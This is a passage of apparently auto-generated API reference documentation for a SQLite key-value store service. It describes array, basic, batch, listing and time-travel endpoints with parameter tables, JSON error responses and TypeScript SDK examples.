| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK Usage

```ts
const result = await client.sqlite.kvStore.push({
  key: 'events',
  db: '/hoody/databases/app.db',
  data: {
    event: 'user_signup',
    userId: 'u_8f2a1b',
    timestamp: '2026-01-15T10:30:00Z'
  }
});
```


When targeting a nested array, pass a JSON path such as `$.queue` or `$.users[0].tags` in the `path` parameter. The append is performed atomically on the resolved array.


## Pop from array

### `POST /api/v1/sqlite/kv/{key}/pop`

Pop the last element from an array stored at `key`. If the key holds an object, use the `path` parameter to target a nested array.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name |
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name. Default: `kv_store` |
| `path` | query | string | No | JSON path to nested array |
| `history` | query | boolean | No | Enable history tracking. Default: `true` |

### Response



Value popped successfully.

```json
{
  "key": "events",
  "value": {
    "event": "user_signup",
    "userId": "u_8f2a1b",
    "timestamp": "2026-01-15T10:30:00Z"
  },
  "newLength": 41
}
```


Invalid request or not an array.

```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Value at key 'events' is not an array"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


Key not found.

```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Key 'events' does not exist"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `KEY_NOT_FOUND` | Key not found | The requested key does not exist in the KV store | Verify the key name and database/table parameters |
| `DATABASE_NOT_FOUND` | Database file does not exist | The specified database file was not found | Check the file path or use create_db_if_missing=true to create it |
| `KEY_EXPIRED` | Key expired | The key existed but has expired due to TTL | The key was automatically deleted. Store a new value if needed. |


Internal server error.

```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database write failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK Usage

```ts
const result = await client.sqlite.kvStore.pop({
  key: 'events',
  db: '/hoody/databases/app.db'
});
```

## Remove array element

### `POST /api/v1/sqlite/kv/{key}/remove`

Remove an element from an array stored at `key`. Use the `index` query parameter to remove by position, or pass a value in the request body to remove the first matching element. Supports JSON paths for nested arrays.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name |
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name. Default: `kv_store` |
| `path` | query | string | No | JSON path to nested array |
| `index` | query | integer | No | Array index to remove |
| `history` | query | boolean | No | Enable history tracking. Default: `true` |

### Request Body

The value to match and remove. Required when removing by value (i.e. when `index` is not provided).

```json
{
  "event": "user_signup",
  "userId": "u_8f2a1b"
}
```

### Response



Element removed successfully.

```json
{
  "success": true,
  "key": "events",
  "removedIndex": 3,
  "newLength": 40
}
```


Invalid request or not an array.

```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Provide either index query parameter or value in request body"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


Key or value not found.

```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "No matching element found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `KEY_NOT_FOUND` | Key not found | The requested key does not exist in the KV store | Verify the key name and database/table parameters |
| `DATABASE_NOT_FOUND` | Database file does not exist | The specified database file was not found | Check the file path or use create_db_if_missing=true to create it |
| `KEY_EXPIRED` | Key expired | The key existed but has expired due to TTL | The key was automatically deleted. Store a new value if needed. |


Internal server error.

```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database write failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK Usage

```ts
// Remove by index
const byIndex = await client.sqlite.kvStore.removeElement({
  key: 'events',
  db: '/hoody/databases/app.db',
  index: 3
});

// Remove by matching value
const byValue = await client.sqlite.kvStore.removeElement({
  key: 'events',
  db: '/hoody/databases/app.db',
  data: { event: 'user_signup', userId: 'u_8f2a1b' }
});
```


Removing by value performs a deep equality match against the first element. If you need to remove all occurrences, call the endpoint in a loop or restructure your data into a keyed map rather than a flat array.

---

# KV Store: Basic Operations

**Page:** api/sqlite/kv-basic

[Download Raw Markdown](./api/sqlite/kv-basic.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## KV Store: Basic Operations

The KV Store basic operations let you read, write, increment, decrement, delete, and check the existence of key-value pairs stored in SQLite. Use these endpoints for counters, configuration values, session data, and any workload that needs simple key-based storage with optional TTL and JSON path support.

## Get a value by key

### `GET /api/v1/sqlite/kv/{key}`

Retrieve a value from the KV store. Supports hierarchical keys (using `/` as a separator), JSON path extraction for nested values, and time-travel queries via a Unix timestamp.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name (supports `/` for hierarchical keys) |
| `db` | query | string | Yes | Database file path or directory |
| `table` | query | string | No | Custom table name (default: `kv_store`) |
| `path` | query | string | No | JSON path for nested value extraction |
| `at_timestamp` | query | integer | No | Unix timestamp for time-travel query (selects `handleKVAtTimestamp`) |
| `rebuild` | query | boolean | No | Rebuild cache (directory mode only) |

### Response

The response body contains the raw stored value. Metadata is returned in response headers:

- `Content-Type` — MIME type of the stored value
- `X-Created-At` — Unix timestamp when created
- `X-Updated-At` — Unix timestamp when last updated
- `X-Expire-At` — Unix timestamp when the value expires (if TTL set)
- `X-KV-Reference` — Set to `true` if the value is a KV store reference



```json
"{\"user\":\"alice\",\"score\":42}"
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid database path"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / `./name` shorthand (resolved to `/hoody/databases/*.db`) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a `.db` file but got a directory (use `table` parameter for directory mode) | Use a `.db` file path or add `table` parameter for directory mode KV store |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Key not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `KEY_NOT_FOUND` | Key not found | The requested key does not exist in the KV store | Verify the key name and database/table parameters |
| `DATABASE_NOT_FOUND` | Database file does not exist | The specified database file was not found | Check the file path or use `create_db_if_missing=true` to create it |
| `KEY_EXPIRED` | Key expired | The key existed but has expired due to TTL | The key was automatically deleted. Store a new value if needed. |


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Time-travel chain gap detected for the requested timestamp"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database operation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK usage

```ts
const value = await client.sqlite.kvStore.get({
  key: "users/alice",
  db: "/hoody/databases/app.db"
});
```

## Set a value for a key

### `PUT /api/v1/sqlite/kv/{key}`

Store or update a value in the KV store. Supports TTL (time-to-live), JSON path updates for nested values, and compare-and-swap (CAS) writes via the `if_match` parameter.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name |
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name (default: `kv_store`) |
| `path` | query | string | No | JSON path for nested value update |
| `ttl` | query | integer | No | Time-to-live in seconds |
| `if_match` | query | string | No | Current value for compare-and-swap |
| `history` | query | boolean | No | Enable history tracking (default: `true`) |
| `create_db_if_missing` | query | boolean | No | Create database file if it is missing (default: `false`) |

### Request body

The raw value to store. Send JSON for structured data or `application/octet-stream` for binary payloads.

```json
{
  "user": "alice",
  "score": 42,
  "tags": ["admin", "beta"]
}
```

### Response



```json
{
  "status": "ok",
  "key": "users/alice",
  "created": false
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid database path"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / `./name` shorthand (resolved to `/hoody/databases/*.db`) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a `.db` file but got a directory (use `table` parameter for directory mode) | Use a `.db` file path or add `table` parameter for directory mode KV store |


```json
{
  "statusCode": 412,
  "error": "Precondition Failed",
  "message": "Compare-and-swap failed: current value does not match if_match"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database operation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK usage

```ts
await client.sqlite.kvStore.set({
  key: "users/alice",
  db: "/hoody/databases/app.db",
  ttl: 3600,
  data: { user: "alice", score: 42 }
});
```

## Delete a key

### `DELETE /api/v1/sqlite/kv/{key}`

Remove a key-value pair from the store.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name |
| `db` | query | string | Yes | Database file path or directory |
| `table` | query | string | No | Custom table name (default: `kv_store`) |
| `history` | query | boolean | No | Enable history tracking (default: `true`) |

### Response



```json
{
  "status": "ok",
  "key": "users/alice",
  "deleted": true
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid database path"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / `./name` shorthand (resolved to `/hoody/databases/*.db`) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a `.db` file but got a directory (use `table` parameter for directory mode) | Use a `.db` file path or add `table` parameter for directory mode KV store |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Key not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `KEY_NOT_FOUND` | Key not found | The requested key does not exist in the KV store | Verify the key name and database/table parameters |
| `DATABASE_NOT_FOUND` | Database file does not exist | The specified database file was not found | Check the file path or use `create_db_if_missing=true` to create it |
| `KEY_EXPIRED` | Key expired | The key existed but has expired due to TTL | The key was automatically deleted. Store a new value if needed. |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database operation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK usage

```ts
await client.sqlite.kvStore.delete({
  key: "users/alice",
  db: "/hoody/databases/app.db"
});
```

## Check if a key exists

### `HEAD /api/v1/sqlite/kv/{key}`

Check if a key exists in the KV store without retrieving its value. Returns `200` if the key is present, `404` if it is missing or expired.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name |
| `db` | query | string | Yes | Database file path or directory |
| `table` | query | string | No | Custom table name (default: `kv_store`) |

### Response



```http
HTTP/1.1 200 OK
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid database path"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / `./name` shorthand (resolved to `/hoody/databases/*.db`) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a `.db` file but got a directory (use `table` parameter for directory mode) | Use a `.db` file path or add `table` parameter for directory mode KV store |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Key not found or expired"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `KEY_NOT_FOUND` | Key not found | The requested key does not exist in the KV store | Verify the key name and database/table parameters |
| `DATABASE_NOT_FOUND` | Database file does not exist | The specified database file was not found | Check the file path or use `create_db_if_missing=true` to create it |
| `KEY_EXPIRED` | Key expired | The key existed but has expired due to TTL | The key was automatically deleted. Store a new value if needed. |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database operation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK usage

```ts
const present = await client.sqlite.kvStore.exists({
  key: "users/alice",
  db: "/hoody/databases/app.db"
});
```

## Atomically increment a value

### `POST /api/v1/sqlite/kv/{key}/incr`

Atomically increment a numeric value. Supports a custom delta, JSON path targeting for nested numeric values, and optional history tracking. The key must already hold a numeric (or null/initialized) value; non-numeric values result in a `400`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name |
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name (default: `kv_store`) |
| `delta` | query | integer | No | Amount to increment (default: `1`) |
| `path` | query | string | No | JSON path to nested numeric value |
| `history` | query | boolean | No | Enable history tracking (default: `true`) |

### Response



```json
{
  "key": "counters/page_views",
  "value": 1042,
  "previous": 1041
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Value at path is not numeric"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / `./name` shorthand (resolved to `/hoody/databases/*.db`) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a `.db` file but got a directory (use `table` parameter for directory mode) | Use a `.db` file path or add `table` parameter for directory mode KV store |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database operation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK usage

```ts
const result = await client.sqlite.kvStore.incr({
  key: "counters/page_views",
  db: "/hoody/databases/app.db",
  delta: 1
});
```

## Atomically decrement a value

### `POST /api/v1/sqlite/kv/{key}/decr`

Atomically decrement a numeric value. Supports a custom delta, JSON path targeting for nested numeric values, and optional history tracking.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name |
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name (default: `kv_store`) |
| `delta` | query | integer | No | Amount to decrement (default: `1`) |
| `path` | query | string | No | JSON path to nested numeric value |
| `history` | query | boolean | No | Enable history tracking (default: `true`) |

### Response



```json
{
  "key": "counters/inventory",
  "value": 97,
  "previous": 98
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Value at path is not numeric"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / `./name` shorthand (resolved to `/hoody/databases/*.db`) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a `.db` file but got a directory (use `table` parameter for directory mode) | Use a `.db` file path or add `table` parameter for directory mode KV store |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database operation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK usage

```ts
const result = await client.sqlite.kvStore.decr({
  key: "counters/inventory",
  db: "/hoody/databases/app.db",
  delta: 1
});
```

---

# KV Store: Batch Operations

**Page:** api/sqlite/kv-batch

[Download Raw Markdown](./api/sqlite/kv-batch.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



Batch operations let you read, write, or delete up to 100 keys in a single request, reducing round-trips when working with large datasets. All batch endpoints accept a JSON body describing the keys or items to process and execute the work in a single transaction.


All three endpoints share the same `db` and `table` query parameters and the same error code surface. The body shape is an object; the specific structure (`keys` array for get/delete, `items` array for set) follows the endpoint's purpose.


## Batch Get Multiple Keys

Retrieve values for multiple keys in a single request (max 100 keys).

### `POST /api/v1/sqlite/kv/batch/get`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name. Default: `"kv_store"` |

### Request Body

Send a JSON object containing the keys to retrieve. The body is an unconstrained object — supply a `keys` array of string identifiers.

```json
{
  "keys": ["user:1", "user:2", "settings:theme"]
}
```

### Response



```json
{
  "values": {
    "user:1": { "name": "Alice", "email": "alice@example.com" },
    "user:2": { "name": "Bob", "email": "bob@example.com" },
    "settings:theme": "dark"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request parameters"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / `./name` shorthand (resolved to `/hoody/databases/*.db`) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a `.db` file but got a directory (use `table` parameter for directory mode) | Use a `.db` file path or add `table` parameter for directory mode KV store |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database operation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK Usage

```javascript
const result = await client.sqlite.kvStore.batchGet({
  db: '/hoody/databases/app.db',
  table: 'kv_store',
  data: {
    keys: ['user:1', 'user:2', 'settings:theme']
  }
});
```

---

## Batch Set Multiple Keys

Store values for multiple keys in a single transaction (max 100 items).

### `POST /api/v1/sqlite/kv/batch/set`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name. Default: `"kv_store"` |

### Request Body

Send a JSON object containing the items to store. The body is an unconstrained object — supply an `items` array of key/value pairs.

```json
{
  "items": [
    { "key": "user:1", "value": { "name": "Alice", "email": "alice@example.com" } },
    { "key": "user:2", "value": { "name": "Bob", "email": "bob@example.com" } },
    { "key": "settings:theme", "value": "dark" }
  ]
}
```

### Response



```json
{
  "count": 3
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request parameters"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / `./name` shorthand (resolved to `/hoody/databases/*.db`) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a `.db` file but got a directory (use `table` parameter for directory mode) | Use a `.db` file path or add `table` parameter for directory mode KV store |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database operation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK Usage

```javascript
const result = await client.sqlite.kvStore.batchSet({
  db: '/hoody/databases/app.db',
  table: 'kv_store',
  data: {
    items: [
      { key: 'user:1', value: { name: 'Alice', email: 'alice@example.com' } },
      { key: 'user:2', value: { name: 'Bob', email: 'bob@example.com' } }
    ]
  }
});
```

---

## Batch Delete Multiple Keys

Delete multiple keys in a single transaction (max 100 keys).

### `POST /api/v1/sqlite/kv/batch/delete`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name. Default: `"kv_store"` |

### Request Body

Send a JSON object containing the keys to delete. The body is an unconstrained object — supply a `keys` array of string identifiers.

```json
{
  "keys": ["user:1", "user:2", "settings:theme"]
}
```

### Response



```json
{
  "count": 3
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request parameters"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / `./name` shorthand (resolved to `/hoody/databases/*.db`) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a `.db` file but got a directory (use `table` parameter for directory mode) | Use a `.db` file path or add `table` parameter for directory mode KV store |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database operation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



### SDK Usage

```javascript
const result = await client.sqlite.kvStore.batchDelete({
  db: '/hoody/databases/app.db',
  table: 'kv_store',
  data: {
    keys: ['user:1', 'user:2', 'settings:theme']
  }
});
```

---

# SQLite: Key-Value Store

**Page:** api/sqlite/kv-store

[Download Raw Markdown](./api/sqlite/kv-store.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## List keys

List all keys in the KV store with optional filtering and pagination. Supports prefix filtering, standard pagination via `limit`/`offset`, and historical time-travel queries via `at_timestamp`.

### `GET /api/v1/sqlite/kv`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `db` | query | string | Yes | Database file path or directory |
| `table` | query | string | No | Custom table name. Default: `"kv_store"` |
| `prefix` | query | string | No | Filter keys by prefix |
| `limit` | query | integer | No | Maximum number of results. Default: `100` |
| `offset` | query | integer | No | Skip N results for pagination (regular LIST only; ignored when `at_timestamp` is set). Default: `0` |
| `at_timestamp` | query | integer | No | Unix timestamp for time-travel LIST (selects `handleKVListAtTimestamp`; returns a different envelope and ignores `offset`) |

This endpoint accepts no request body.



```bash
curl -G "https://api.hoody.com/api/v1/sqlite/kv" \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "db=./app.db" \
  --data-urlencode "prefix=user:" \
  --data-urlencode "limit=50"
```


```typescript
const result = await client.sqlite.kvStore.listIterator({
  db: "./app.db",
  prefix: "user:",
  limit: 50,
});
```


Keys listed successfully. In `at_timestamp` mode, the response also includes `has_gaps` and `gap_keys` for any keys skipped due to `history=false` gaps, plus `candidate_truncated=true` when the candidate-key scan hit the internal cap (narrow with `prefix` to get a complete listing).

```json
{
  "keys": [
    "user:1001",
    "user:1002",
    "user:1003",
    "user:1004",
    "user:1005"
  ],
  "count": 5,
  "limit": 50,
  "offset": 0,
  "prefix": "user:"
}
```

When called with `at_timestamp`, the response uses a different envelope:

```json
{
  "keys": [
    "user:1001",
    "user:1002",
    "user:1003"
  ],
  "has_gaps": true,
  "gap_keys": ["user:1004"],
  "candidate_truncated": false,
  "at_timestamp": 1700000000
}
```


Invalid request parameters.

```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request parameters"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / `./name` shorthand (resolved to `/hoody/databases/*.db`) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a `.db` file but got a directory (use `table` parameter for directory mode) | Use a `.db` file path or add `table` parameter for directory mode KV store |


Internal server error.

```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Database operation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |


Request deadline exceeded before commit (typically `at_timestamp` mode under heavy maintenance or a very large candidate set).

```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Request deadline exceeded before commit"
}
```

---

# KV Store: Time-Travel & History

**Page:** api/sqlite/kv-time-travel

[Download Raw Markdown](./api/sqlite/kv-time-travel.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## KV Store: Time-Travel & History

The KV store maintains a full operation log so you can inspect how your data changed, reconstruct the state at any past point, and roll back unwanted mutations. Use these endpoints to audit, debug, and recover from accidental writes. Two surfaces are exposed: general **query history** for any SQLite database, and **KV store time-travel** for inspecting and rewinding specific keys or entire tables.


Time-travel works by replaying the operation log up to a target point. Queries that read the full table at a specific timestamp are bounded by an internal scan cap — narrow the request with `prefix` or `keys` to get a complete view.


---

## Query History

Inspect, summarize, and manage the SQL query history recorded for each database file.

### `GET /api/v1/sqlite/history`

Retrieve query execution history for a database with optional limit.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `db` | query | string | Yes | Database file path |
